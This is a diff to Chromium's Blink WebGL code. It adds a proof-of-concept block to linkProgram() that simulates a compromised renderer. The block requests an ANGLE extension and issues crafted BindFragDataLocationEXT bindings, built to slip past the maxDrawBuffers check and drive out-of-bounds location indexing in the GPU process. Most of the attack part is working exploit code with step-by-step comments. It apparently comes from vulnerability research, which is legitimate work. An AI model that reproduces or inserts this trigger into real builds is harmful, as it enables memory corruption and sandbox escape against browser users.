diff --git a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
index 172759394d7e0..12c68c1e8b570 100644
--- a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
+++ b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
@@ -4972,6 +4972,41 @@ void WebGLRenderingContextBase::linkProgram(WebGLProgram* program) {
     ContextGL()->GenQueriesEXT(1, &query);
     ContextGL()->BeginQueryEXT(GL_PROGRAM_COMPLETION_QUERY_CHROMIUM, query);
   }
+  // [POC] Compromised-renderer simulation: a renderer with code execution
+  // can issue arbitrary GLES2 command-buffer commands. There is no Blink
+  // binding for glBindFragDataLocationEXT, but the command exists on the wire
+  // (BindFragDataLocationEXTBucket) and is accepted by the passthrough GLES2
+  // decoder in the GPU process when EXT_blend_func_extended is exposed.
+  // We attach the malicious bindings to *every* linkProgram() call; ANGLE
+  // silently ignores bindings whose name does not match a fragment output, so
+  // unrelated programs are unaffected.
+  {
+    GLuint p = ObjectOrZero(program);
+    fprintf(stderr, "[POC renderer] injecting BindFragDataLocationEXT for program %u\n", p);
+    // GL_EXT_blend_func_extended is a requestable ANGLE extension; the
+    // passthrough decoder gates BindFragDataLocationEXTBucket on
+    // features().ext_blend_func_extended which is populated from the live
+    // ANGLE extension string. A compromised renderer can request it.
+    ContextGL()->RequestExtensionCHROMIUM("GL_EXT_blend_func_extended");
+    // Base array name -> last legal color slot. Issue ascending colorNumbers so
+    // the highest one that passes the GPU-process maxDrawBuffers validation
+    // wins (later calls overwrite the per-name binding map). On
+    // MAX_DRAW_BUFFERS=8 the base lands at 7; on 6 (SwiftShader) it lands at 5.
+    for (GLuint c = 3; c <= 7; ++c) {
+      ContextGL()->BindFragDataLocationEXT(p, c, "fragData");
+    }
+    // Redirect every non-zero element k to colorNumber k-1. These per-element
+    // bindings populate reservedLocations and leave outputLocations past
+    // maxDrawBuffers unused, so the over-max guard at
+    // ProgramExecutable.cpp:1746 passes while pod.location ends up at
+    // maxDrawBuffers-1 with arraySize == maxDrawBuffers -> Vulkan warm-up
+    // iterates location indices up to 2*maxDrawBuffers-2.
+    for (GLuint k = 1; k <= 7; ++k) {
+      char name[16];
+      snprintf(name, sizeof(name), "fragData[%u]", k);
+      ContextGL()->BindFragDataLocationEXT(p, k - 1, name);
+    }
+  }
   ContextGL()->LinkProgram(ObjectOrZero(program));
   if (ExtensionEnabled(kKHRParallelShaderCompileName)) {
     ContextGL()->EndQueryEXT(GL_PROGRAM_COMPLETION_QUERY_CHROMIUM);